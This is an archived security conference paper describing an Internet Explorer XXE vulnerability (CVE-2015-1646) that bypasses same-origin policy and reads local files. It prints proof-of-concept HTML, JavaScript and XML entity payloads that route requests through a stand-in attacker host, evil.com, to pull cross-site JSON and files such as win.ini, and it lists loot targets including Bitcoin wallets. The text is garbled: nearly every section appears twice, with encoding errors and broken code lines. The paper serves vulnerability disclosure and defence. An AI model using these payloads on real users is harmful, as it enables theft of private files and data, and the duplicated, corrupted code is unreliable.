<figure><img src="image_1.png" /></figure>

HAL
open science

# Filecry : the new age of XXE

Jonathan Brossard

► To cite this version:

Jonathan Brossard. Filecry : the new age of XXE: (Internet Explorer XXE : CVE-2015-1646). Blackhat USA, Blackhat, Jul 2015, Las Vegas, United States. hal-04606161

HAL Id: hal-04606161

https://hal.science/hal-04606161

Submitted on 9 Jun 2024

HAL is a multi-disciplinary open access
archive for the deposit and dissemination of sci-
entific research documents, whether they are pub-
lished or not. The documents may come from
teaching and research institutions in France or
abroad, or from public or private research centers.

L'archive ouverte pluridisciplinaire HAL, est
destinée au dépôt et à la diffusion de documents
scientifiques de niveau recherche, publiés ou non,
émanant des établissements d'enseignement et de
recherche français ou étrangers, des laboratoires
publics ou privés.

<figure><img src="image_2.png" /></figure>

Distributed under a Creative Commons Attribution 4.0 International License
IE XXE - CVE-2015-1646

Hormazd Billimoria,Xiaoran Wang,Sergey Gorbaty,Jonathan Brossard -
hbillimoria,xiaoran.wang,sergey.gorbaty,jbrossard@salesforce.com

Product Security, Salesforce, U.S.A.

**Abstract.** This article will demonstrate Microsoft Internet Explorer is vulnerable to XXE up to version 11 on Windows XP and 7. The 0-day vulnerability enables an attacker to exfiltrate arbitrary local files and information across web origins with a malicious web page. We present a proof of concept exploit that reads a local file without user's consent and displays that file content on the webpage. We will provide recommendations on how to protect user's data and enforce Same-Origin Policy across different features.

Keywords: Browser, SOP, Exploit, XXE.
IE XXE - CVE-2015-1646

Hormazd Billimoria,Xiaoran Wang,Sergey Gorbaty,Jonathan Brossard -
hbillimoria,xiaoran.wang,sergey.gorbaty,jbrossard@salesforce.com

Product Security, Salesforce, U.S.A.

**Abstract.** This article will demonstrate Microsoft Internet Explorer is vulnerable to XXE up to version 11 on Windows XP and 7. The 0-day vulnerability enables an attacker to exfiltrate arbitrary local files and information across web origins with a malicious web page. We present a proof of concept exploit that reads a local file without user's consent and displays that file content on the webpage. We will provide recommendations on how to protect user's data and enforce Same-Origin Policy across different features.

Keywords: Browser, SOP, Exploit, XXE.
# 1 Introduction

XML has been the de-facto communication format for a long time and still is for a lot of applications and services. The risk of using it has been well understood. Past attacks to XML includeXml eXternal Entity, XML Entity Expansion, XML Injection, etc. and they have been discussed in many papers and conferences. However, the risk is mostly understood for server side application and less in client-side application. In this paper, we are going to discuss how to leverageXml eXternal Entity to exploit local browsers such as Microsoft Internet Explorer and bypass same origin policy, leading to arbitrary reading of files across origins and from the file system.

# 2 Background

## 2.1Xml eXternal Entity (XXE)

XXE is not new and many researches have been done on it. In a nutshell, XML allows inclusion of external resources/entities and the parser will fetch the resources automatically. This was seen mostly on servers where if an XML parser processes a user controlled XML file, it would be vulnerable to server side resource inclusions and potentially arbitrary command executions. Different libraries then patched with defenses such as disabling external entities by default or giving user an option to disable the resolution of external entities before parsing. For example, there were fixes in libxml2 that disabled external entity resolution by default[1]. On the other hand, browser vendors also applied patches to prevent XXE in their products[2][3][4].

# 3 MSXML3.0

Although MSXML3.0 is deprecated and replaced by MSXML6.0, it is still available in older versions of IE. Since we can force compatibility mode in IE, we can effectively include the vulnerable DLL even into the new versions of IE by emulating the behavior of old versions in IE. There are many ways that compatibility mode can be forced, and we chose to use a <meta> tag to accomplish the goal. So the first test HTML page looks like the following.

```html
<html>
<script>
    xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" +
        "<!DOCTYPE export [\n" +
        "<!ELEMENT export (#PCDATA)>\n" +
        "<!ENTITY % loot SYSTEM "http://someservice.com/secret">\n" +
        "<!ENTITY % stager SYSTEM "entity.xml">\n" +
        "%stager;\n]\n <export>&all;</export>";
```
# 1 Introduction

XML has been the de-facto communication format for a long time and still is for a lot of applications and services. The risk of using it has been well understood. Past attacks to XML includeXml eXternal Entity, XML Entity Expansion, XML Injection, etc. and they have been discussed in many papers and conferences. However, the risk is mostly understood for server side application and less in client-side application. In this paper, we are going to discuss how to leverageXml eXternal Entity to exploit local browsers such as Microsoft Internet Explorer and bypass same origin policy, leading to arbitrary reading of files across origins and from the file system.

# 2 Background

## 2.1Xml eXternal Entity (XXE)

XXE is not new and many researches have been done on it. In a nutshell, XML allows inclusion of external resources/entities and the parser will fetch the resources automatically. This was seen mostly on servers where if an XML parser processes a user controlled XML file, it would be vulnerable to server side resource inclusions and potentially arbitrary command executions. Different libraries then patched with defenses such as disabling external entities by default or giving user an option to disable the resolution of external entities before parsing. For example, there were fixes in libxml2 that disabled external entity resolution by default[1]. On the other hand, browser vendors also applied patches to prevent XXE in their products[2][3][4].

# 3 MSXML3.0

Although MSXML3.0 is deprecated and replaced by MSXML6.0, it is still available in older versions of IE. Since we can force compatibility mode in IE, we can effectively include the vulnerable DLL even into the new versions of IE by emulating the behavior of old versions in IE. There are many ways that compatibility mode can be forced, and we chose to use a <meta> tag to accomplish the goal. So the first test HTML page looks like the following.

```html
<html>
<script>
    xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" +
        "<!DOCTYPE export [\n" +
        "<!ELEMENT export (#PCDATA)>\n" +
        "<!ENTITY % loot SYSTEM "http://someservice.com/secret">\n" +
        "<!ENTITY % stager SYSTEM "entity.xml">\n" +
        "%stager;\n]\n <export>&all;</export>";
```
```javascript
xmlDoc = CreateMSXMLDocumentObject();

xmlDoc.loadXML(text);

if (xmlDoc.parseError && xmlDoc.parseError.errorCode != 0) {
    errorMsg = "XML Parsing Error: " + xmlDoc.parseError.reason
        + " at line " + xmlDoc.parseError.line
        + " at position " + xmlDoc.parseError linepos
        + " srctext = " + xmlDoc.parseError.srcText;

    alert (errorMsg);
} else {
    var loot = xmlDoc documentElement.nodeTypedValue;
    alert(loot);
}

</script>
</html>
```

where `entity.xml` looks like the following

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%loot;">
```

The reason we have to include a second stage payload (`entity.xml`) is that parameter entities cannot be referenced at the place where it is defined. This style of chaining payloads is not new and has been discussed in many presentations[5]. When the test HTML pages is loaded and after the `CreateMSXMLDocumentObject()` is invoked, MSXML3.0 kicks in and we can verify that it is loaded into the memory.

<figure><img src="image_1.png" /><figcaption>Fig. 1. The MSXML3.0 Dll being loaded into IE</figcaption></figure>

## 4 Breaking the Same Origin Policy (SOP)

We were researching about how would SOP be enforced between the browser engine and the XML parser, because XML parser has to use the browser engine as a resolver for external entities in order to make
```javascript
xmlDoc = CreateMSXMLDocumentObject();

xmlDoc.loadXML(text);

if (xmlDoc.parseError && xmlDoc.parseError.errorCode != 0) {
    errorMsg = "XML Parsing Error: " + xmlDoc.parseError.reason
        + " at line " + xmlDoc.parseError.line
        + " at position " + xmlDoc.parseError linepos
        + " srctext = " + xmlDoc.parseError.srcText;

    alert (errorMsg);
} else {
    var loot = xmlDoc documentElement.nodeTypedValue;
    alert(loot);
}

</script>
</html>
```

where `entity.xml` looks like the following

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%loot;">
```

The reason we have to include a second stage payload (`entity.xml`) is that parameter entities cannot be referenced at the place where it is defined. This style of chaining payloads is not new and has been discussed in many presentations[5]. When the test HTML pages is loaded and after the `CreateMSXMLDocumentObject()` is invoked, MSXML3.0 kicks in and we can verify that it is loaded into the memory.

<figure><img src="image_3.png" /><figcaption>Fig. 1. The MSXML3.0 Dll being loaded into IE</figcaption></figure>

## 4 Breaking the Same Origin Policy (SOP)

We were researching about how would SOP be enforced between the browser engine and the XML parser, because XML parser has to use the browser engine as a resolver for external entities in order to make
sure the external entity belongs to the same origin of where the XML
is served from. One way thatâĂŹs always worth checking is SOP after
redirection. We created a redirection handler on the attacker controlled
site and make an redirection to the external entity. Below is the new
XML payload to read our test Facebook user's profile information across
origins.

xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" + "<!DOCTYPE export [\n" + "<!ELEMENT export (#PCDATA)>\n" + "<!ENTITY % loot SYSTEM ">" + "http://evil.com/redirect?" + "site=https%3A%2F%2Fapp.box.com%2Findex.php%3Form%3Dbox_item_list">\n" + "<!ENTITY % stager SYSTEM "http://evil.com/entity.xml">\n" + "%stager;\n]\n <export>&all;</export>";

<figure><img src="image_2.png" /><figcaption>Fig. 2. Reading private file "dogfile" across origin on Box.com</figcaption></figure>

Same origin policy is bypassed! It seems like IE only checks SOP for
the initial request but does not enforce SOP in the case of a redirection.
Therefore an attacker can create a malicious website and the user's pri-
vate information can be stolen across domain. In fact all JSON endpoints
relying on cookie-based authentication are vulnerable to this exploit as
the JSON payload can be reliably retrieved. There are some limitations
on what characters in the payload are considered valid by the XML
parser and we will discuss that at the end, but JSON payload are not
affected. It is also interesting that SOP was also bypassable in Adobe
Reader through a redirection[6].
sure the external entity belongs to the same origin of where the XML
is served from. One way thatâĂŹs always worth checking is SOP after
redirection. We created a redirection handler on the attacker controlled
site and make an redirection to the external entity. Below is the new
XML payload to read our test Facebook user's profile information across
origins.

```xml
xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" +
        "<!DOCTYPE export [\n" +
        "<!ELEMENT export (#PCDATA)>\n" +
        "<!ENTITY % loot SYSTEM ">" +
        "http://evil.com/redirect?" +
        "site=https%3A%2F%2Fapp.box.com%2Findex.php%3 Frem%3Dbox_item_list">\n" +
        "<!ENTITY % stager SYSTEM "http://evil.com/entity.xml">\n" +
        "%stager;\n]>
```

<figure><img src="image_4.png" /><figcaption>Fig. 2. Reading private file "dogfile" across origin on Box.com</figcaption></figure>

Same origin policy is bypassed! It seems like IE only checks SOP for the initial request but does not enforce SOP in the case of a redirection. Therefore an attacker can create a malicious website and the user's private information can be stolen across domain. In fact all JSON endpoints relying on cookie-based authentication are vulnerable to this exploit as the JSON payload can be reliably retrieved. There are some limitations on what characters in the payload are considered valid by the XML parser and we will discuss that at the end, but JSON payload are not affected. It is also interesting that SOP was also bypassable in Adobe Reader through a redirection[6].
## 5 Breaking Web Boundaries

We continued on with our research and wanted to look into whether the SOP bypass can lead to more fruitful places. What about an attacker tries to steal local files besides information across sites? Browsers are usually very good on setting a strict boundary between the Web and local filesystem and prompt user's permission if there is any request to access local files from a webpage. Below is a new payload we experimented with.

```xml
xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" +
        "<!DOCTYPE export [\n" +
        "<!ELEMENT export (#PCDATA)>\n" +
        "<!ENTITY % loot SYSTEM "http://evil.com/redirect?site=" +
        "file:///windows/win.ini" >\n" +
        "<!ENTITY % stager SYSTEM "http://evil.com/entity.xml" >\n" +
        "%stager;\n] >\n <export>&all;</export>";
```

<figure><img src="image_3.png" /><figcaption>Fig. 3. Reading win.ini on the local computer without user approval</figcaption></figure>

The Web-LocalFileSystem boundary is crossed! An attacker is able to read arbitrary files from the user's filesystem without any user approval by serving a malicious webpage.

## 6 Limitations

Because the XML parser is expecting the external content as valid XMLs, certain characters are not allowed and can cause the attack to fail when
## 5 Breaking Web Boundaries

We continued on with our research and wanted to look into whether the SOP bypass can lead to more fruitful places. What about an attacker tries to steal local files besides information across sites? Browsers are usually very good on setting a strict boundary between the Web and local filesystem and prompt user's permission if there is any request to access local files from a webpage. Below is a new payload we experimented with.

```xml
xmlDoc = "<?xml version="1.0" encoding="utf-8"?>\n" +
        "<!DOCTYPE export [\n" +
        "<!ELEMENT export (#PCDATA)>\n" +
        "<!ENTITY % loot SYSTEM "http://evil.com/redirect?site=" +
        "file:///windows/win.ini" >\n" +
        "<!ENTITY % stager SYSTEM "http://evil.com/entity.xml" >\n" +
        "%stager;\n] >\n <export>&all;</export>";
```

<figure><img src="image_5.png" /><figcaption>Fig. 3. Reading win.ini on the local computer without user approval</figcaption></figure>

The Web-LocalFileSystem boundary is crossed! An attacker is able to read arbitrary files from the useràÃŽs filesystem without any useràÃŽs approval by serving a malicious webpage.

## 6 Limitations

Because the XML parser is expecting the external content as valid XMLs, certain characters are not allowed and can cause the attack to fail when
they appear. For example, `\x00`, `&`, `%` are not allowed thus making most of the regular HTML pages fail to be extracted. However, API based web pages that returns JSON or plaintext and most of the ext files on the file system would work. In addition, some read-access-locked local files cannot be stolen as Windows prevents two processes from reading the same file concurrently (e.g. registry files, SAM files, etc).

# 7 Collecting the loots

Here are some files are tried to extract, some succeeded and some failed with explanations.

- Successful Trials

* Any text file on the `C:/somedir/` with a known file name and path. (e.g. file:///windows/win.ini)

* Any text file under `C:/User/YourUserName/*` with a known file name.

* `YourUserName` can be determined with our SMB vulnerability. TODO: reference our SMB whitepaper

* For example, some Bitcoin wallet text files are stored in `C:/Users/YourUserName/Appdata/Roaming/Bitcoin/wallet.dat`

* Web: Any page that returns private data in JSON with Cookie authentication

- Failed Trials

* Browser Cookies

* IE: stored in files with random file names

* FF/Chrome: Binary format SQLite files

* RSA Token: Binary format

* Outlook Email: Binary format

* Registry and SAM file: Read-protected

* Web: Pages that are pure HTML or need authentication with custom headers

# 8 Conclusion

While maintaining compatibility, browser vendors should make sure that no security vulnerabilities can be introduced retrospectively. In addition, browser vendors should make sure interactions with external libraries or services still has its base on basic browser security policies such as Same Origin Policy.
they appear. For example, `\x00`, `&`, `%` are not allowed thus making most of the regular HTML pages fail to be extracted. However, API based web pages that returns JSON or plaintext and most of the ext files on the file system would work. In addition, some read-access-locked local files cannot be stolen as Windows prevents two processes from reading the same file concurrently (e.g. registry files, SAM files, etc).

# 7 Collecting the loots

Here are some files are tried to extract, some succeeded and some failed with explanations.

- Successful Trials

* Any text file on the `C:/somedir/` with a known file name and path. (e.g. file:///windows/win.ini)

* Any text file under `C:/User/YourUserName/*` with a known file name.

* `YourUserName` can be determined with our SMB vulnerability. TODO: reference our SMB whitepaper

* For example, some Bitcoin wallet text files are stored in `C:/Users/YourUserName/Appdata/Roaming/Bitcoin/wallet.dat`

* Web: Any page that returns private data in JSON with Cookie authentication

- Failed Trials

* Browser Cookies

* IE: stored in files with random file names

* FF/Chrome: Binary format SQLite files

* RSA Token: Binary format

* Outlook Email: Binary format

* Registry and SAM file: Read-protected

* Web: Pages that are pure HTML or need authentication with custom headers

# 8 Conclusion

While maintaining compatibility, browser vendors should make sure that no security vulnerabilities can be introduced retrospectively. In addition, browser vendors should make sure interactions with external libraries or services still has its base on basic browser security policies such as Same Origin Policy.
## References

1. Ubuntu: Apply upstream patch to close xxe vulnerability in precise. (https://bugs.lauchpad.net/ubuntu/+source/libxml2/+bug/1194410)

2. Chrome: Cesa-2009-008 - rev 1. (https://security.appspot.com/security/CESA-2009-008.html)

3. Apple: Apple safari local file theft bug. (https://security.appspot.com/security/CESA-2009-006.html)

4. Microsoft: Upgrading to msxml 6.0. (http://blogs.msdn.com/b/xmlteam/archive/2007/03/12/upgrading-to-msxml-6-0.aspx)

5. Timur Yunusov, A.O.:Xml out-of-band data retrieval. (https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)

6. Sneak: Adobe reader same-origin policy bypass. (http://www.sneaked.net/adobe-reader-same-origin-policy-bypass)
## References

1. Ubuntu: Apply upstream patch to close xxe vulnerability in precise. (https://bugs.lauchpad.net/ubuntu/+source/libxml2/+bug/1194410)

2. Chrome: Cesa-2009-008 - rev 1. (https://security.appspot.com/security/CESA-2009-008.html)

3. Apple: Apple safari local file theft bug. (https://security.appspot.com/security/CESA-2009-006.html)

4. Microsoft: Upgrading to msxml 6.0. (http://blogs.msdn.com/b/xmlteam/archive/2007/03/12/upgrading-to-msxml-6-0.aspx)

5. Timur Yunusov, A.O.:Xml out-of-band data retrieval. (https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)

6. Sneak: Adobe reader same-origin policy bypass. (http://www.sneaked.net/adobe-reader-same-origin-policy-bypass)